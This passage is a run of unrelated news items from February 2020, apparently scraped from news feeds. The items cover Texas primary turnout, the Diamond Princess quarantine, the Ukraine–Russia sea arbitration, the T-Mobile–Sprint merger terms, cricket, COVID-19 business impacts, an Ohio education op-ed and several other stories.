party, compared to 2016 Harris County Democrats: 28,264, up 54 percent Harris County Republicans: 28,461, up 10 percent Dallas County Democrats: 16,020, up 50 percent Dallas County Republicans: 9,346, down 14 percent Tarrant County Democrats: 13,392, up 27 percent Tarrant County Republicans: 15,746, down 11 percent Bexar County Democrats: 18,631, up 50 percent Bexar County Republicans: 10,510, up 8 percent Travis County Democrats: 17,656, up 47 percent Travis County Republicans: 5,360, up 1 percent Collin County Democrats: 6,012, up 101 percent Collin County Republicans: 8,430, down 4 percent Denton County Democrats: 5,788, up 138 percent Denton County Republicans: 5,788, up 13 percent El Paso County Republicans: 2,525, up 126 percent El Paso County Democrats: 8,188, up 120 percent Fort Bend County Republicans: 10,706, up 156 percent Fort Bend County Democrats: 6,851, up 140 percent Hidalgo County Democrats: 14,705, up 13 percent Hidalgo County Republicans: 1,735, down 2 percent Montgomery County Democrats: 2,156, up 120 percent Montgomery County Republicans: 9,164, up 12 percent Williamson County Democrats: 4,797, up 111 percent Williamson County Republicans: 4,644, down 28 percent Brazoria County Republicans: 8,050, up 150 percent Brazoria County Democrats: 2,069, up 140 percent See More Collapse While it is impossible to draw sweeping conclusions based on three days of early voting, the numbers are a loose indicator of voter enthusiasm as Texans began casting votes this week. Nevertheless, Texas Republicans have fewer close races at the top of the ballot, with President Donald Trump and Sen. John Cornyn virtually certain to win the partys nominations. Overall, Democrats are seeing more of an early voting increase than Republicans in most big counties. Two of the biggest counties in Texas, Harris and Bexar, have seen Democratic turnout 50 percent higher than it was in 2016 in that partys primary. Republicans in those two counties have increased turnout by less than 10 percent. For Republicans, turnout has dropped in several big counties. In the Dallas-Fort Worth Metroplex, for instance, Dallas, Tarrant and Collin counties have seen fewer Republican voters in primaries than four years ago. Of course, four years ago Republicans had a much more competitive presidential primary, in which Donald Trump was still battling U.S. Sen. Ted Cruz for the GOP nomination. Texas Take: Get political headlines from across the state sent directly to your inbox The Democratic surge of voting comes even with an unsettled field of candidates running for president that has some voters saying they are waiting until they see how early states such as Nevada and South Carolina play out before they vote. The cruise ship Diamond Princess at Daikoku Pier Cruise Terminal in Yokohama. (PHOTO: Reuters/Issei Kato) SINGAPORE The five Singaporeans who were on board the quarantined Diamond Princess cruise ship in Yokohama, Japan, have been allowed to disembark from the ship. According to a media statement by the Ministry of Foreign Affairs (MFA) on Friday (21 February), the Singaporeans will be quarantined again should they return to Singapore within 14 days from the date of their disembarkation. This is an additional precautionary measure according to Singapores current public health protocol due to the COVID-19 coronavirus outbreak. The Singapore Embassy in Tokyo has been in touch with the Singaporeans, who have indicated that they will remain in Japan for a further 14 days before returning to Singapore, an MFA spokesperson said in the media statement. (It) will continue to maintain contact with and provide consular assistance to the Singaporeans, who have been advised to monitor their health closely during this period. MFA also thanked the Japanese government and relevant authorities for their assistance to the Singaporeans during the quarantine period. A total of 3,711 people on board the Diamond Princess, including 1,100 crew members, went into quarantine off Japan on 5 February, after it emerged that a former passenger had tested positive for the new coronavirus. It started letting passengers who tested negative for the virus off the ship on Wednesday, when the 14-day quarantine set by the Japanese government ended. The cruise ship has become the site of the most infections outside of mainland China, where the COVID-19 virus emerged late last year. As of Thursday, there have been 634 confirmed cases of COVID-19 infection among the people on board the Diamond Princess. Two elderly passengers taken off the ship because they were infected with the virus have died, Japan's Health Ministry said on Thursday, becoming the first fatalities from the virus-stricken vessel. Stay in the know on-the-go: Join Yahoo Singapore's Telegram channel at http://t.me/YahooSingapore Story continues Related stories: COVID-19: Singapore confirms 1 new case bringing total to 85; 3 more discharged COVID-19: First patient in Singapore discharged after 28-day stay, counts himself lucky report Singapore Red Cross raises $6m for COVID-19 relief efforts in China COVID-19: Israel bans entry for foreign travellers from Singapore COVID-19: How it's spreading in Singapore and the world Generally speaking long term investing is the way to go. But no-one is immune from buying too high. To wit, the Chinese People Holdings Company Limited (HKG:681) share price managed to fall 64% over five long years. That is extremely sub-optimal, to say the least. And it's not just long term holders hurting, because the stock is down 34% in the last year. There was little comfort for shareholders in the last week as the price declined a further 2.0%. Check out our latest analysis for Chinese People Holdings In his essay The Superinvestors of Graham-and-Doddsville Warren Buffett described how share prices do not always rationally reflect the value of a business. One flawed but reasonable way to assess how sentiment around a company has changed is to compare the earnings per share (EPS) with the share price. Chinese People Holdings became profitable within the last five years. Most would consider that to be a good thing, so it's counter-intuitive to see the share price declining. Other metrics might give us a better handle on how its value is changing over time. In contrast to the share price, revenue has actually increased by 19% a year in the five year period. So it seems one might have to take closer look at the fundamentals to understand why the share price languishes. After all, there may be an opportunity. You can see below how earnings and revenue have changed over time (discover the exact values by clicking on the image). SEHK:681 Income Statement, February 21st 2020 Take a more thorough look at Chinese People Holdings's financial health with this free report on its balance sheet. A Different Perspective While the broader market lost about 2.2% in the twelve months, Chinese People Holdings shareholders did even worse, losing 34%. However, it could simply be that the share price has been impacted by broader market jitters. It might be worth keeping an eye on the fundamentals, in case there's a good opportunity. Unfortunately, last year's performance may indicate unresolved challenges, given that it was worse than the annualised loss of 18% over the last half decade. We realise that Buffett has said investors should 'buy when there is blood on the streets', but we caution that investors should first be sure they are buying a high quality business. It's always interesting to track share price performance over the longer term. But to understand Chinese People Holdings better, we need to consider many other factors. Be aware that Chinese People Holdings is showing 3 warning signs in our investment analysis , you should know about... Story continues If you are like me, then you will not want to miss this free list of growing companies that insiders are buying. Please note, the market returns quoted in this article reflect the market weighted average returns of stocks that currently trade on HK exchanges. If you spot an error that warrants correction, please contact the editor at editorial-team@simplywallst.com. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. Simply Wall St has no position in the stocks mentioned. We aim to bring you long-term focused research analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Thank you for reading. The award will be publicly available no later than 21 days after the decision. Ukraine's Ministry of Foreign Affairs (MFA) has commented on an award by the Arbitral Tribunal regarding the preliminary objections of the Russian Federation to jurisdiction in a dispute concerning coastal state rights in the Black Sea, the Sea of Azov, and the Kerch Strait (Ukraine v. the Russian Federation). "The Tribunal agreed with Ukraine that Russia's claim of an internal waters status was not a proper subject for a jurisdictional objection and should be decided at the merits stage of the case. The ruling means that Russia will face legal scrutiny for its illegal construction of the Kerch Bridge and its harassment of vessels in the Sea of Azov, both of which harm international navigation to Ukrainian ports," the ministry said in a statement on February 21. Read alsoMFA Prystaiko: Hague Arbitration Tribunal reaffirms jurisdiction to consider Ukraine's claim on Azov Sea As was earlier reported, in an arbitration under Annex VII to the United Nations Convention on the Law of the Sea ("UNCLOS") in respect of coastal State rights in the Black Sea, the Sea of Azov, and the Kerch Strait, the Arbitral Tribunal on February 21 issued an award concerning the preliminary objections of the Russian Federation. The Permanent Court of Arbitration ("PCA") acts as registry for the proceedings. "The Tribunal rejected Russia's position that it lacks jurisdiction over Ukraine's case and determined that it would hear significant aspects of Ukraine's claims, including those related to Russia's violations of UNCLOS in the Kerch Strait and the Sea of Azov," the ministry said. Since 2014, however, Russia has excluded Ukraine from its own maritime areas and exploited Ukraine's natural resources, including fisheries and vast oil and gas reserves. Russia has also disregarded environmental protections and harmed international navigation, including by illegally building the Kerch Bridge, harassing international shipping, and seizing Ukrainian jack-up drilling rigs. "Today, the Tribunal rejected Russia's effort to escape accountability for its conduct in the Sea of Azov and the Kerch Strait. Russia has attempted to remove these two vital international waterways from the law of the sea," the statement said. In ruling that Ukraine's case will move forward to the merits phase, the Tribunal concluded that it could not hear a portion of claims relating to Ukraine's rights as a coastal state in the waters near Crimea. "The Tribunal concluded that it lacked jurisdiction over those claims because it does not have authority to address issues concerning sovereignty over Crimea. At the same time, the Tribunal has made it clear that recognizing it as having a dispute over the territorial identity of Crimea does not in any way mean alteration of its status. The Tribunal expressly stated that its decision does not imply that the Russian Federation's actions in Crimea were lawful," the ministry said. According to the statement, the Tribunal's decision supports the international consensus, and the Tribunal itself made clear that it does not endorse Russia's claim of sovereignty. "Today's ruling is a rebuke to Russia's view that its unilateral actions are immune from legal challenge. As a result of today's ruling, Ukraine will present its case on the merits before the Law of the Sea Tribunal. After further filings, the Tribunal will hold a hearing on the merits at which Ukraine will present its full case. Today's victory is another success for Ukraine in holding Russia accountable for its violations of international law," it said. In November 2019, the International Court of Justice ("ICJ") rejected Russia's jurisdictional objections to Ukraine's case under treaties concerning terrorism financing and racial discrimination. According to the ministry, for the first time, Russia will have to answer for its violations of international law before the World Court. In May 2019, Ukraine also secured historic provisional measures from the International Tribunal for the Law of the Sea, ordering the release of the three naval vessels and twenty-four servicemen Russia had detained. According to the Rules of Procedure, the award will be publicly available after the parties have expressed their possible objections to the presence of confidential information in the decision, but no later than 21 days after the decision. That is what co-founder and board chair of Rescue, Revive, Rehome Bay of Plenty, Siobhan Mikaere is now facing. The animal rescue organisation is urgently seeking charity status so it can receive grants to stay afloat. In the meantime, founders Siobhan and Rowan Elliott have been funding it out of their own pockets and through donations from supporters. They say it is at the stage where its unlikely to keep going if the funding isnt sorted out soon, leaving them to find alternative arrangements for dozens of animals. Siobhan says it is gutting to contemplate that they may not be able to carry on. Ive given up everything to try and make this work, as has Rowan. If we cant get enough help and support, theres no way were going to be able to sustain it because were at a point where weve got vehicles that are barely making it from A to B. Rather than spend money fixing vehicles, they are buying feed for the animals. Our primary goal is to make sure the animals stay healthy, safe, that theyre well-loved, and if we dont get funding, were not going to be able to do that. The problem stems from the fact they are not a registered charity, and that means they are ineligible to apply to many of the main funding outlets. We have a lot of donations, we have so many supporters its amazing, but what were trying to do and the size that we are now, its a real struggle. In order to become a charity, they have had to get a trust deed written up, get all the paperwork together and create a board. They also have to show that what they are doing is charitable, so they have to stay in line with what they are trying to achieve. Becoming a charity doesnt happen overnight and it is expected to take between six weeks and three months to complete the process. Were hoping that its going to be pushed through as quickly as possible but we understand that the company have so many applications and theyve just got to do what they can do. In order to try and keep afloat, a Givealittle page has been set up. They have a goal of $15,000 but Siobhan says realistically, they need 10 times that amount. On average, they are spending $4000 a week on vet bills. This is used to get dogs and cats de-sexed, to take care of sick animals, get horses feet done, and more. She says they didnt want to set the fundraising goal too high as they didnt want to come across as silly and didnt want people to think they are just out to make money. All they are hoping to achieve through the Givealittle page is to get enough money to get them through until they can apply for grants. For the charitable status not to go through and for the rescue to fold would be devastating, says Siobhan. It would be extremely heart-breaking for both myself and Rowan. But we have to be realistic as well. If there comes a point where we are not able to continue, then we would start reaching out to all the other rescues in New Zealand to see what we can do. They are also putting the call out to any businesses that are wanting to sponsor the rescue or could help them out in any way. To support the rescue, head to RRR Rescue, Revive, Rehome Bay of Plenty, on Facebook or head to the give-a-little page: https://givealittle.co.nz/cause/saving-rrr LePrix Whoesale We are thrilled to have Aucnet as a strategic shareholder in LePrix, especially since Aucnet has deep expertise in the resale industry and both companies have a mission to provide resale businesses a platform to efficiently navigate the highly-fragmented resale of luxury goods on a global scale." LePrix, the only online B2B and B2C platform for businesses to sell and source pre-owned luxury wholesale in the United States, receives a strategic, minority investment from Aucnet USA, LLC. which is the American subsidiary of publicly-traded global-company, Aucnet Inc. (Aucnet) headquartered in Tokyo, Japan. Aucnet is one of the leading B2B online marketplace auction platforms in Japan, which was established by Aucnet Consumer Products USA, LLC (ACP USA) in January 2020 as part of its global expansion portfolio. We are thrilled to have Aucnet as a strategic shareholder in LePrix, especially since Aucnet has deep expertise in the resale industry and both companies have a mission to provide resale businesses a platform to efficiently navigate the highly-fragmented resale of luxury goods on a global scale. With the conscious consumer demanding sustainable options, this alliance is critical for the maturation of the pre-owned luxury supply chain, says Elise Whang, CEO and co-founder of LePrix. This year, LePrix will continue to aggressively grow the business including expanding its pre-owned wholesale platform (LePrix Wholesale) by expanding its supply chain and increasing sales efforts in conjunction with developing AI-driven pricing tools. According to Whang, consumers spend more than $198B in the luxury fashion segment. Secondhand online sales are expected to grow 24x faster than retail as millennials and gen Zers demand more sustainable shopping options. Brick-and-mortar resale stores are growing at 8% annually in the U.S. and are sourcing top selling pre-owned items at wholesale prices on LePrixs wholesale platform and LePrixs B2C platform is on pace with the explosive growth of online sales of secondhand items. There are over 40,000 resale businesses that focus on pre-owned fashion globally. LePrix has seen tremendous growth in recent years through LePrix Wholesale. With more than 785% year-over-year growth, LePrix Wholesale continues to fuel the expansion of all aspects of the business. Since the launch of LePrix Wholesale in Q4 of 2018, pre-verified resale businesses are now able to sell to other resale and retail businesses at wholesale prices. Aucnets investment is a part of its global expansion strategy into the United States, starting with the opening of ACP USAs operations in 2020 (Projected). The strategic investment from Aucnet further solidifies both companies global footprint as aggregators of the highly-fragmented resale industry at scale with the use of technology. ABOUT LEPRIX LePrix is an online platform for businesses to source pre-owned luxury wholesale from around the world (B2B) and sell to their end customer (B2C). Over 600 resale and retail partners, mostly in Northern America, are using the LePrix platform. LePrix is a Delaware company with offices in the Washington DC area, NY and San Francisco. For more information on LePrix visit http://leprix.com, http://wholesale.leprix.com or email contact@leprix.com ABOUT AUCNET In 1985, Aucnet launched the worlds first used car TV auto auction system that enabled the trading of used cars without needing to see the actual products. Since then, the company has specialized in information distribution support service by organizing and operating the internet auctions. Furthermore, over the past 35 years, online auctions have gone on to include: motorcycles, flowers/agricultural goods, used digital devices, used luxury products, and others. For more information on Aucnet visit http://ir.aucnet.co.jp or contact request@ns.aucnet.co.jp (Bloomberg) -- T-Mobile US Inc. and Sprint Corp. agreed to new terms for their pending merger that take account of the slide in Sprint shares since the transaction was first agreed, putting the industry-altering deal a step closer to completion. T-Mobile owners will get roughly 11 shares of Sprint for each of their stock, the companies said Thursday. Thats an increase from a ratio of 9.75 previously and is more favorable for T-Mobiles German owner Deutsche Telekom AG. The equity value of the amended deal is about $37 billion compared with the original agreement of $26.5 billion, according to Bloomberg Intelligence analyst Erhan Gurses. The higher valuation partly reflects the 62% gain in T-Mobile shares since the all-stock transaction was announced almost two years ago, despite the deterioration in Sprints business. Getting one of the biggest U.S. wireless mergers ever over the finish line would be a boon for Deutsche Telekom as it will reduce its reliance on Europe, where carriers are struggling to grow amid fierce competition. T-Mobile makes up more than half of Deutsche Telekoms sales, up from about a third in 2014. A completed deal will also benefit Sprint owner SoftBank Group Corp. by allowing its chairman, Masayoshi Son, to better focus on his technology investments and the $100 billion Vision Fund. The combined company, which will operate under the T-Mobile name, will have a regular monthly subscriber base of about 80 million -- in the same league as AT&T Inc., which has 75 million subscribers, and Verizon Communications Inc., which has 114 million. When the transaction closes, which could happen as soon as April 1, Deutsche Telekom is expected to keep 43% of the merged entity, while SoftBank has 24%. The rest will be held by public shareholders. Deutsche Telekom shares fell 1.3% to trade at 16.41 euros in Frankfurt. Sprint shares were up 5% to $9.96 at 11:01 a.m. in New York, while T-Mobile was down 1.8% to $97.73. Story continues The original accord, which united the third- and fourth-largest U.S. wireless carriers, was forged in April 2018. That pact lapsed on Nov. 1, and the companies didnt initially renew the terms while they fought for government approval. When a federal judge rejected a state lawsuit to block the transaction earlier this month, that put the talks on the front burner. Along the way, Sprints condition has worsened. That added pressure to redraw the agreement so that it was more favorable to Deutsche Telekom. SoftBank agreed to surrender 48.8 million T-Mobile shares that it will acquire in the merger to the combined company immediately after the transaction closes. But those shares could be reissued to SoftBank by 2025 if the new companys stock stays above $150 for a period of time. That arrangement -- having SoftBank relinquish the stock after the deal closes -- was structured so that the deal wouldnt have to go before another shareholder vote. Sprint investors other than SoftBank will still get the original ratio of 0.10256 T-Mobile shares for each Sprint share -- the equivalent of about 9.75 Sprint shares for each T-Mobile share. Sprints monthly churn -- a closely watched measure of how many customers leave -- has risen to nearly 2%. That means roughly a quarter of its subscriber base is quitting the carrier each year. And the company isnt making up for the decline by charging more: Average revenue per customer has fallen 5% since the deal was announced. Analysts such as LightShed Partners Walt Piecyk said the mergers exchange ratio should be closer to 12, given Sprints deteriorated business. (Updates with valuation detail in third paragraph, updates share prices.) To contact the reporters on this story: Scott Moritz in New York at smoritz6@bloomberg.net;Stefan Nicola in Berlin at snicola2@bloomberg.net To contact the editors responsible for this story: Nick Turner at nturner7@bloomberg.net, Jennifer Ryan For more articles like this, please visit us at bloomberg.com Subscribe now to stay ahead with the most trusted business news source. 2020 Bloomberg L.P. Police arrested a suspect in a shooting that left two victims injured in the 1400 block of U.S. Highway 29 North at 5 p.m. on Feb. 20, according to an Athens-Clarke County Police Department press release. Calvin Louis Brown, 29, of Athens was arrested on Feb. 21 on two charges of aggravated assault and one charge of aggravated battery after a 60-year-old woman was shot multiple times and a 64-year-old man was shot once. Both victims were taken to an unspecified local hospital, according to the release. The woman was treated and released, while the man was treated for a serious injury and is still in the hospital. Police detained Brown at his residence on Rolling Ridge Drive, and he was booked into Athens-Clarke County Jail around 1:30 this morning, according to jail records. Brown may face additional charges as the investigation continues, according to the release. Police ask anyone who has information on the incident to contact Det. Michael Carroll at 762-400-7098 or Michael.Carroll@accgov.com, or contact Crime Stoppers at 706-705-4775. According to the release, Crime Stoppers is offering a reward up to $1,000 for information leading into a conviction in this incident. India's top-order failed the seam and swing test as New Zealand reduced the visitors to 79 for 3 at lunch on the opening day of the first Test here on Friday. Prithvi Shaw (16 off 18 balls), Cheteshwar Pujara (11 off 42 balls) and skipper Virat Kohli (2 off 7 balls) were back in the pavilion with debutant Kyle Jamieson (2/20 in 6 overs) keeping up the pressure after Tim Southee (1/19 in 8 overs) and Trent Boult (0/36 in 8 overs) bowled a probing first spell. Opener Mayank Agarwal (29 batting, 67 balls), who was ready to show patience, and vice-captain Ajinkya Rahane (19 batting, 34 balls) saw off the testing first session. Once New Zealand captain Kane Williamson called the toss of the coin right under overcast conditions, it was a challenge for the Indian batsmen. Young Shaw clipped one off Boult and also hit an uppish square cut to get two quick boundaries. But his loose technique and propensity to close his bat face was always going to cost him dearly. Southee bowled one that looked like angling in and Shaw closed the bat face as the ball moved a shade away after pitching, brushing his pad and then the off-stump. The batsman had a dazed look knowing that his technique was thoroughly exposed on a seamer-friendly track. Pujara was ready to show a lot of patience as he started leaving deliveries outside the off-stump. However, Jamieson, coming in as the second change, bowled his back of length delivery on the off-middle channel. Pujara had no option but to jab at the rising delivery which kissed the outside edge of his bat and was taken by wicketkeeper BJ Watling. A lot of hope were pinned on skipper Kohli but a smart ploy by Jamieson brought about the downfall of the Indian captain. Kohli was playing Jamieson for the disconcerting bounce that he generated from back of the length but in between, he decided to slip one fuller delivery on the fourth stump channel. Kohli lunged into the drive and the thickish edge was taken by the '100th Test man' Ross Taylor standing at the first slip. Agarwal, however, showed composure and once the first 90 minutes were over, he did attack Boult in his second spell with a lovely on-drive and a cover drive to get the scoreboard moving. Rahane also survived a few anxious moments during the 39-run stand going into the lunch break. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) IFC raises trade finance limits to help Vietnamese businesses deal with challenges from the COVID-19 outbreak The spread of COVID-19 has caused business disruptions in Vietnam since the first case was announced in late January. Apart from a fall in tourism and associated services, the epidemic has affected cross-border trade, impacting manufacturing, agribusiness, and other sectors. In response, IFC is supporting Vietnamese businesses by increasing trade limits for four client commercial banks, including An Binh Commercial Joint Stock Bank, TienPhong Commercial Joint Stock Bank, Vietnam International Commercial Joint Stock Bank, and Vietnam Prosperity Joint Stock Commercial Bank. The increased total limit of $294 million will enable these banks to improve their capacity to cover payment risks in granting trade financing to local companies, mostly small- and medium-sized enterprises. VIB welcomes this timely and meaningful initiative to cope with possible liquidity constraints and de-risking trends during this challenging period, said Han Ngoc Vu, CEO cum member of the Board of Directors of Vietnam International Commercial Joint Stock Bank (VIB). IFCs guarantee will help local banks significantly extend trade finance to more importers and exporters, some of whom are credit-constrained and rely on bank trade facilities to manage cash flows and purchase raw inputs. This initiative complements the State Bank of Vietnams call to financial institutions to support local businesses, which may be affected by the coronavirus outbreak particularly those in trade and supply chain linkages. Leveraging IFCs global experience in responding to several economic crises in the past, the decision to increase trade limits is an effort to ensure continued trade flows during this challenging phase. The expanded trade finance line will help mitigate trade finance risks, thus softening the impact of COVID-19 on the Vietnamese economy and the private sector, said Mehmet Mumcuoglu, IFC Financial Institutions group manager for East Asia and the Pacific. IFCs initiative, an effective response to help ensure resiliency, shows our confidence in our local partner banks as well as our commitment to strengthen Vietnams economy, said Kyle Kelhofer, IFC country manager for Vietnam, Cambodia and Lao PDR. Following this fast-to-implement and flexible trade finance instrument, IFC is exploring other expanded interventions to extend its support to Vietnam to mitigate the economic impact of COVID-19 and help the nation sustain robust economic growth. Ping An Insurance, also known as Ping An of China, logo seen on a skyscraper in Shanghai. A Chinese holding conglomerate. (Photo by Alex Tai/SOPA Images/LightRocket via Getty Images) A top executive at Chinese conglomerate Ping An Insurance says the coronavirus outbreak in China has in some ways been "helpful" for the business. "This virus actually, it's been particularly helpful because we've suddenly had requests you know, (from) over 30 over banks and ... 20 over insurers whereby we provide our technology to help of them to get up back to work very quickly," Jessica Tan, co-CEO of Ping An, a Chinese insurance firm listed in Hong Kong. Speaking to CNBC on Friday, Tan said: "What we see about the impact in virus, particularly in the first half, will definitely impact the economy. Of course, the financial services industry is less hit by the virus." The global outbreak of COVID-19, most keenly felt in China and its Hubei province where most of the deaths and cases have occurred, has so far claimed more than 2,000 lives. It has impacted economies, especially those in Asia, as well as the outlook for large companies such as Apple. Investors are still struggling to grapple with the potential impact of the mysterious disease as China locked down cities and extended the Lunar New Year holiday for factories and schools, in order to limit the spread of the pneumonia-like virus. In a separate interview with Reuters, Tan appeared less upbeat and acknowledged that the current coronavirus situation is "very challenging" as the bulk of Ping An's business is driven "primarily by agents." "There are guidelines that they can't visit customers," Tan told Reuters. "We, as well as the rest of the industry, are trying to accelerate the transition to work in a new model whereby the agents are unable the visit the customers and yet you able to maintain your business." A day after pro-Pakistan slogans were raised by an agitator at an anti-CAA in Bengaluru, a young woman was detained on Friday for holding a Kashmir Mukti (liberation), Dalit Mukti, Muslim Mukti placard at a counter protest in the city, police said. Holding the placard with the slogans, she was spotted sitting among the participants of the protest organised by the Hindu Jagaran Vedike against the woman who had shouted Pakistan Zindabad on Thursday. City police chief Bhaskar Rao said she was escorted out of the place as the Vedike members asked her to leave and crowd started gathering. She has been now been taken into custody for her own safety along with the placard... we will find out her background, where she has come from and who are behind her among other things, Rao told reporters, adding she did not raise any slogan. The Kashmir Mukti (liberation), Dalit Mukti, Muslim Mukti slogans were written in both Kannada and English in the placard held by her. To a question if she would be arrested, the Commissioner said let the investigation be held. It is too early as she has just been taken into custody, he added. Last evening, Amulya Leona had raised Pakistan Zindabad slogan thrice in the presence of All India Majlis-e-Ittehadul Muslimeen (AIMIM) chief Asaduddin Owaisi after the organisers of the event under the banner of Save Constitution invited her to address the gathering, prompting him to denounce her act. After being removed from the stage, she was later arrested on charges of sedition and produced before a magistrate court which remanded her to 14 days judicial custody. An upset Owaisi had said he would not have participated in the protest against the Citizenship Amendment Act had he known that the woman had been invited for the event and asserted his party had no links with her. OXFORD, Ohio -- A lot of ink has, of late, been spilled about education policy in Ohio, and for good reason. Recently, poorly conceived voucher and school accountability policies spectacularly collided, and Ohio lawmakers were forced to act quickly to forestall an exponential increase in voucher eligibility. On Jan. 30, lawmakers passed an extension on the start time of the EdChoice expansion, attempting to fix some of the problems raised by educators and citizens. As of this writing, legislators have not yet agreed on a long-range fix. In our view, it pays to start asking larger questions about EdChoice to understand how education policy is made in Ohio. Why, for instance, did this dramatic increase in voucher eligibility occur? Why would lawmakers experiment with such an expensive initiative, when studies of such voucher programs including a rigorous study of EdChoice - have most often revealed large, negative impacts on student learning? And, in what universe does it make sense that schools would be judged, and voucher eligibility triggered, by students scores in 2013 and 2014 (but not 2015-2017)? The great uproar around EdChoice should have us asking about how policy is made: specifically, whose voices are being elevated, and whose are being diminished, when Ohio education policy is being created? Joel Malin is a faculty member in the College of Education, Health and Society at Miami University, in Oxford, Ohio. Taking a step back, we can see that the policies adopted in Ohio are part of a broader pattern of favoring business and for-profit interests over those of community members, including parents, students, and teachers. In fact, community members perspectives are regularly ignored in favor of business lobbyists, charter school operators, and national influencers like U.S. Secretary of Education Betsy DeVos or companies like Pearson Education. Ohio Excels, for instance, is a recently formed, powerful business interest group thats quickly emerged as a heavyweight lobbying force in education policy in Ohio, as described recently by Aaron Marshall in Columbus CEO magazine. Business groups have long had some measure of influence on education policy and appropriately so. What we are seeing now, however, is quite different. Ohio Excels was a major player in crafting the latest, 2019 version of high school graduation requirements, according to Marshall, besting a competing proposal from the Ohio Board of Education, an elected/appointed group whose role is to help advise education policy creation. Marshall quoted state Sen. Peggy Lehner, chair of the Ohio Senate Education Committee, describing this recent, significant shift toward choosing sides with the business community when it comes to education policymaking. She also acknowledged the tremendous amount of deference [that was] paid toward the workforce when graduation requirements changes were being considered. While business and private/private school interests are important to consider as we make education policies, there are huge problems with the way Ohio legislators are prioritizing these perspectives today. Many of the assumptions and methods of the business world do not neatly transfer into education. In addition, parents and communities want students to be good citizens and well-rounded thinkers, as well as good workers, when they graduate from schools. When private sector interests dominate education policy discussions, other perspectives are routinely ignored. Most important are the views of professional educators, who have firsthand knowledge and expertise that can shape our policy decisions in realistic and positive directions. Their participation would also serve to prevent lawmakers from making disastrous, foreseeable errors. Education policy in Ohio and a few other states, including Indiana and Florida, has been powerfully shaped by the interests of for-profit, pro-business, and private education providers in the past decade. Such interests are evident in the EdChoice voucher program, which, as originally written into the 2019-2020 Ohio budget, would shift millions of public school dollars to private and religious schools that are unaccountable to the public. This is no accident. It is a reflection of whose interests are being listened to and favored at the tables where education policy is crafted. Even now, in spite of support from Ohios education officials, lawmakers have prevented passage of legislation undoing EdChoice. The time is overdue to listen to a far broader range of interests and perspectives when policies and funding for Ohios schools are shaped by the state. Public schools are governed by both state and local representatives who are supposed to consider all important stakeholders. Currently, the perspectives of communities, parents, students, and teachers are being given short shrift when educational policy is being crafted. Joel Malin and Kathleen Knight-Abowitz are faculty members in the College of Education, Health and Society at Miami University in Oxford, Ohio. Knight-Abowitz is also a school board member in the Talawanda City School District, and Malin is a member of the Scholars Strategy Network. The views expressed are their own. Also contributing to this op-ed was Duane Moore, a veteran social studies teacher at Hamilton High School in Hamilton, Ohio. ******************************* Have something to say about this topic? Use the comments to share your thoughts. Then, stay informed when readers reply to your comments by using the Follow option at the top of the comments, and look for updates via the small blue bell in the lower right as you look at more stories on cleveland.com. New York, Feb. 21, 2020 (GLOBE NEWSWIRE) -- Reportlinker.com announces the release of the report "Organic Baby Food Market - Growth, Trends, and Forecasts (2020 - 2025)" - https://www.reportlinker.com/p05865859/?utm_source=GNW - Organic baby food is gaining popularity among parents due to growing concern over childrens health. Due to their costly raw material sourcing and production process requirements, the organic baby products available in the market are expensive. Scope of the Report The organic baby food market has segmented based on product type and distribution channel. By product type, the segmentation includes prepared baby food, dried baby food, infant milk formula, and other products. Due to increasing organic infant formula segment is anticipated to record the fastest growth. By distribution channel, the segmentation includes - supermarket, hypermarket, convenience stores, online, and other distribution channels. Moreover, the study provides an analysis of the organic baby food market in the emerging and established markets across the world, including North America, Europe, Asia-Pacific, South America, and Middle East & Africa. Key Market Trends Health Benefits of Organic Food is Attracting Parents Organic baby food is gaining popularity among parents due to growing concern over childrens health. Due to their costly raw material sourcing and production process requirements, the organic baby products available in the market are expensive. Despite the excessive costs, parents are considering buying premium products for their children, even in developing countries like China. Increased household income in developing regions is the major driving factor for the sale of organic baby food. The robust growth of the distribution channels worldwide is further accelerating the markets growth. North America Holds the Major Share in Organic Baby Food Market The North American region accounts for the largest share of the organic baby food market, followed by Europe. The United States dominates the market, driven by the growing demand for organic food products. The Asia Pacific is also expected to see significant growth in the global baby food market in the coming years. The growth of this market in this region will largely be due to the increasing size of the population, the growth of emerging economies, the declining rate of infant death, and the increased awareness of the importance of proper nutrition for babies. India, China, and Indonesia are expected to be the major contributors to the growth of the baby food industry in the Asia Pacific. Competitive Landscape Companies are focused on developing new marketing strategies and introducing new products based on value-added ingredients, to compete in the market. Some of the major companies in the organic baby food market are Abbott Laboratories, Nestle SA, Hero Group, and Danone, among others. Reasons to Purchase this report: - The market estimate (ME) sheet in Excel format - Report customization as per the clients requirements - 3 months of analyst support Read the full report: https://www.reportlinker.com/p05865859/?utm_source=GNW About Reportlinker ReportLinker is an award-winning market research solution. Reportlinker finds and organizes the latest industry data so you get all the market research you need - instantly, in one place. __________________________ Source: Xinhua| 2020-02-21 11:23:57|Editor: huaxia Video Player Close MEXICO CITY, Feb. 20 (Xinhua) -- Mexican authorities have discovered 24 decomposed bodies in a mass grave in a rural area of west Michoacan state, local prosecutors said on Thursday. The victims were killed between four and six months ago and many have close-range gunshot wounds or even been decapitated, said Michoacan attorney general Adrian Lopez Solis, citing forensic experts' estimate. The dead, aged 20-40, included five women, Solis said, adding that experts are working to identify them based on the list of local missing persons. The grave was discovered in a park near a construction zone in the Comanje neighborhood of Coeneo, some 94 km from the state capital Morelia, after a number of people allegedly involved in local drug trade were detained on Feb. 14 in the nearby town of Patzcuaro. Michoacan has been plagued for years by drug trafficking groups battling for control in the region. According to the Mexican Secretariat of the Government, by the end of 2019, more than 61,000 people had been reported and remained missing in the country. Shubh Mangal Zyada Saavdhan, starring Ayushmann Khurrana and Jitendra Kumar, has been denied release in Dubai and UAE for its homosexual content. According to a report in Bollywood Hungama, the makers even offered to snip the kiss between Ayushmann and Jitendra, but to no avail. A source informed the website, We knew this was coming. Or, rather not coming. We really wanted to see what Shubh Mangal Zyada Saavdhan has to say, since it is the first Bollywood film that normalises a gay relationship. Sadly, all films with a gay content are banned in these parts. When the producers offered to cut out the scene in which Ayushmann and Jitendra lock lips, they were told that it was not about the kiss in particular but the theme of homosexuality. Also read | Sheela: Priyanka Chopra to play Ma Anand Sheela in new Amazon Prime Video drama Directed by Hitesh Kewalya, Shubh Mangal Zyada Saavdhan is a love story between two men in small-town India. The film has Ayushmann and Jitendra battling the latters homophobic family to gain acceptance. While it has been more than a year since homosexuality was decriminalised in India, same-sex relationships continue to largely remain taboo. In 